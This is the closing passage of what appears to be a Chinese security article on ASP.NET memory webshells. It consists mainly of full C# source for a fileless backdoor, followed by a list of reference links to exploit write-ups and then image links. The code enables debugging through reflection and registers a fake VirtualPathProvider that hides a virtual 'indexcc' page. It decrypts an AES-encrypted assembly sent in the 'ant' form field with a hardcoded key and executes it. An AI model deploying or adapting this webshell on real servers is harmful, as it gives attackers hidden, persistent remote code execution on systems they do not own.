%&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Security.Cryptography&#34;</span> %&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Web.Hosting&#34;</span> %&gt;&lt;script runat=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;server&#34;</span> language=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;c#&#34;</span>&gt;    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Page_load</span>()</span>    {        <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> buildManagerType = <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.Web.Compilation.BuildManager);        <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> debugProp = buildManagerType.GetProperty(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;DebuggingEnabled&#34;</span>,            System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);        Console.WriteLine(debugProp);        <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (debugProp != <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)        {            debugProp.SetValue(<span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>, <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>);        }        HostingEnvironment.RegisterVirtualPathProvider(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MyVirtualPathProvider());    }    <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyVirtualPathProvider</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">VirtualPathProvider</span>    {        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">override</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">GetCacheKey</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> virtualPath</span>)</span>        {            <span style="color: rgb(198, 120, 221);line-height: 26px;">try</span>            {                HttpContext context = HttpContext.Current;                String Payload = context.Request.Form[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;ant&#34;</span>];                <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (Payload != <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)                {                    <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> aesKey = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;ewtk7fiw26osz2gi&#34;</span>;                    <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> utf8 = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> UTF8Encoding();                    <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> b64Dec = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> FromBase64Transform();                    <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> aes = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> RijndaelManaged();                    aes.Padding = (PaddingMode)<span style="color: rgb(209, 154, 102);line-height: 26px;">3</span>;                    aes.KeySize = <span style="color: rgb(209, 154, 102);line-height: 26px;">128</span>;                    <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> aesKeyBytes = utf8.GetBytes(aesKey);                    aes.IV = aesKeyBytes;                    <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> cipherBytes = b64Dec.TransformFinalBlock((utf8.GetBytes(Payload)), <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, utf8.GetBytes(Payload).Length);                    <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> aesDec = aes.CreateDecryptor((aesKeyBytes), (aes.IV));                    <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> plainBytes = aesDec.TransformFinalBlock(cipherBytes, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, cipherBytes.Length);                    <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> res = utf8.GetString(plainBytes).TrimEnd(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;\0&#39;</span>).TrimEnd(<span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>);                    <span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> test1 = res.Length;                    System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(res));                    assembly.CreateInstance(assembly.GetName().Name + <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;.Run&#34;</span>).Equals(context);                    context.Response.End();                }                            }            <span style="color: rgb(198, 120, 221);line-height: 26px;">catch</span> (Exception e)            {                Console.WriteLine(e);            }            <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> Previous.GetCacheKey(virtualPath);        }        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">override</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">bool</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">FileExists</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> virtualPath</span>)</span>        {            virtualPath = virtualPath.ToLower();            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (virtualPath.Contains(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;indexcc&#34;</span>))            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>;            }            <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> Previous.FileExists(virtualPath);            }            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//return base.FileExists(virtualPath);</span>        }        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">override</span> VirtualFile <span style="color: rgb(97, 174, 238);line-height: 26px;">GetFile</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> virtualPath</span>)</span>        {            virtualPath = virtualPath.ToLower();            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (virtualPath.Contains(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;indexcc&#34;</span>))            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MyVirtualFile(virtualPath);            }            <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> Previous.GetFile(virtualPath);            }            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//return base.GetFile(virtualPath);</span>        }    }    <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyVirtualFile</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">VirtualFile</span>    {        <span style="color: rgb(198, 120, 221);line-height: 26px;">private</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> myPath;        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyVirtualFile</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> virtualPath</span>)            : <span style="color: rgb(97, 174, 238);line-height: 26px;">base</span>(<span style="line-height: 26px;">virtualPath</span>)</span>        {            myPath = virtualPath;        }        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">override</span> Stream <span style="color: rgb(97, 174, 238);line-height: 26px;">Open</span>()</span>        {            Stream stream = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MemoryStream();            <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> stream;        }    }&lt;/script&gt;</p></pre><h2 style="margin: 70px 30px 30px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;text-align: center;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(255, 255, 255, 0.1)));">参考文章</span></h2><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://yzddmr6.com/archives/" target="_blank">https://yzddmr6.com/archives/</a> 蚁剑作者</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html" target="_blank">http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html</a> 头像哥博客 listener</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://mp.weixin.qq.com/s?__biz=MzkzNTI4NjU1Mw==&amp;mid=2247483945&amp;idx=1&amp;sn=f4ad81298b17f2925c95ea1d69edede9&amp;chksm=c2b1005ff5c68949da993b44f4d9f3c1d070673c1b08130edc008e27bd10e2ed718c889604c4&amp;scene=21#wechat_redirect" target="_blank">https://mp.weixin.qq.com/s?__biz=MzkzNTI4NjU1Mw==&amp;mid=2247483945&amp;idx=1&amp;sn=f4ad81298b17f2925c95ea1d69edede9&amp;chksm=c2b1005ff5c68949da993b44f4d9f3c1d070673c1b08130edc008e27bd10e2ed718c889604c4&amp;scene=21#wechat_redirect</a></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">腾讯AD实验室 listener</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://paper.seebug.org/1386/" target="_blank">https://paper.seebug.org/1386/</a> ViewState</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/" target="_blank">https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/</a> ViewState</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://devco.re/blog/2020/04/21/from-sql-to-rce-exploit-aspnet-app-with-sessionstate/" target="_blank">https://devco.re/blog/2020/04/21/from-sql-to-rce-exploit-aspnet-app-with-sessionstate/</a> sessionstate</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://blog.wanghw.cn/security/dotnet-viewstate-no-file-godzilla-memshell.html#devco-blog" target="_blank">https://blog.wanghw.cn/security/dotnet-viewstate-no-file-godzilla-memshell.html#devco-blog</a> ViewState</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="http://paper.vulsee.com/KCon/2021/%E9%AB%98%E7%BA%A7%E6%94%BB%E9%98%B2%E6%BC%94%E7%BB%83%E4%B8%8B%E7%9A%84Webshell.pdf" target="_blank">http://paper.vulsee.com/KCon/2021/%E9%AB%98%E7%BA%A7%E6%94%BB%E9%98%B2%E6%BC%94%E7%BB%83%E4%B8%8B%E7%9A%84Webshell.pdf</a> virtualPath</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://y4er.com/posts/aspnet-getshell-tips/" target="_blank">https://y4er.com/posts/aspnet-getshell-tips/</a> appcmd</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8%E8%99%9A%E6%8B%9F%E6%96%87%E4%BB%B6%E9%9A%90%E8%97%8FASP.NET-Webshell" target="_blank">https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8%E8%99%9A%E6%8B%9F%E6%96%87%E4%BB%B6%E9%9A%90%E8%97%8FASP.NET-Webshell</a> VirtualPathProvider</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://www.crisprx.top/archives/547" target="_blank">https://www.crisprx.top/archives/547</a> filter</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://blog.wanghw.cn/security/dotnet-viewstate-no-file-godzilla-memshell.html" target="_blank">https://blog.wanghw.cn/security/dotnet-viewstate-no-file-godzilla-memshell.html</a> viewstate</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys" target="_blank">https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys</a> viewstate</p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=671d7061&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaqicwhW23rtRHX3L77CJwnoGgBE28B1qEZjyiclRWoguSM8BrWDicJBjew%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=efe29b32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia25C6ib1hQnQ5MA4vXp6wCvkndibmw1QanQakV0JfiaBwz8oWRXBUh5pmg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e80da44f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiasFB7UUdazJPHrbYq6OJbD8ia1kQYFiclAszz2eFODPS6XYicV2Dto6pDw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5d75b369&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaSBlOu4pvlicy8mCgMgheYEWy7vJthHGlicHeibJPDyNz6P8a6U32oKDPA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0dbacfe1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia2JA3KwoN8YpOHhNC1LqBZUQ2yvibT9lKhG4Eciae81w7Mn9D8GWX7JTg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=130b7f9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaMUmvRYbgNQm1HBPghicevZI8cZR8YfPplz2WLOibkvcnbFNVYQqvUFBw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6db72955&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaOFpQ46LzuY7KZGNfEGFHjaQjClBfiatpafQ6wxYCHkQdKrgr4BGn7UQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=bb6505c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaWvcukv81haeVVRnZfo9KEiaBN0srsmP9mNNYACwJCdDIFoiao2DW4zicA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f51317ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaY7dn0Tf6Pj5wDjibLN6Q2PDtib7DrX6iaB3MB4VUgWQrt1udOXkxd4j6g%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=dbd6ee09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaiaE4JUribxia3NfBLcGVea6CxeXSqibC04ROjrtuibWerecNRX2ibwTE9ibmQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3bbfc683&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiayhLqkXfYseIT1EApcZfYPY35ba9YAr3v3u3icr9nxeYHBk3DOF7ic0AA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7da164a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaObiajvQFEENZ2l6OtTbb9H5kVvGFwCO734InSbaJqp0SsN1ATF0biauw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fac2c7f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaZnUqzVtlBUdcpibCfCbbOFCu1LNIgHVsOtiaNFsIV1MADjyicfrP8eybA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3545e65b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaic9XOR9uexiaNUgBqoREGbOzeU6CDz6iaI6tWUtibXLI5kFx7Na3ROXnxQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=deb38a70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia1HnGZE9gdpVMVaIPRFJVD9lClHV7K23GaedWLYzyxklsq8amIiaUeCQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6196daf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia1mgINxmjMdo1WicPERlE9bnSJGmLibjK84pBNyfkib6nKsD1dXiaiaAbCVw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=58e5a1a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaOOM4PvYiaKdltYVvA7icgqywxNB1MWFicI9pwFIxTVtgm79sO7gGEPKzA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5a6c5e5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiat1K9RibfdaQFd6VAP286cIAfOcYBlWpmYlPlLEchWPF9zbG6hzqJAZA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e9722eee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiamY3gH0qfTicfic0TMXDRPwITRskKyXicyhbU9ibZW1flvj9SExRCuJ3gCQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=08796db7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaWplZevIlLFDLAJjwr2V3Z92JMCeZHlaq6iaq7mnpI0U5dmaWiatdic5icA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=31ff1940&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaNWBXIvuIV8RyjZ4BylcOgS0oKGzzO7PamYHlPsp74aEzfJibzDMsojA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=deb38a70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia1HnGZE9gdpVMVaIPRFJVD9lClHV7K23GaedWLYzyxklsq8amIiaUeCQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6549aec1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiae0Um6BowEdGl20GQRjjictvdcuCX9T6ASumMmnFqiahEfndxNWic5ZfLQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=73e59269&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaicdE6iaN8yicoUxrmE7OTicy0uKXQtkMz3j4icR4WK4pWnsjtUNoBoYzUuA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5f340716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUias4pZLAjnvbLJCFus3RLhOjFjbQfuia9Z10ARF26xdNAhvBktgA59cjQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b9911125&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia3Lqk8VIvlMEZRicR45X9DnPD1qDJ9jPM1QvhZZicqx6Xh9gMkKDyxhlg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4b0b8e35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia1YJAick1CqvfrISPDzCBXF3VAT1Z2cSpZ3b0AUEtPnSFhgLkD1gan1A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=92764de7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiajmavse6vS6IzO6uCicNzMtGIrF7Xj47Ft9lWkc3hJsr6MLxCxTgOGdg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=834b5d9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiavKDrkxXRRVLHRCB0waP8wfpmiauA0gbZS9aKJzgh8UBvqx6rXmrqwTQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=439b2d48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiahjBQYRZjxeic3ibRea8EDOMSm0bvFaaDRfWpzSSzhKdzdic5XHMJXQodg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=23949435&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaeksPoiaSMyHq5uX94hsibk0oXCpEd94hRBPZyhvH2azy0iapayibdgmticw%2F640%3Fwx_fmt%3Dpng"/></p>
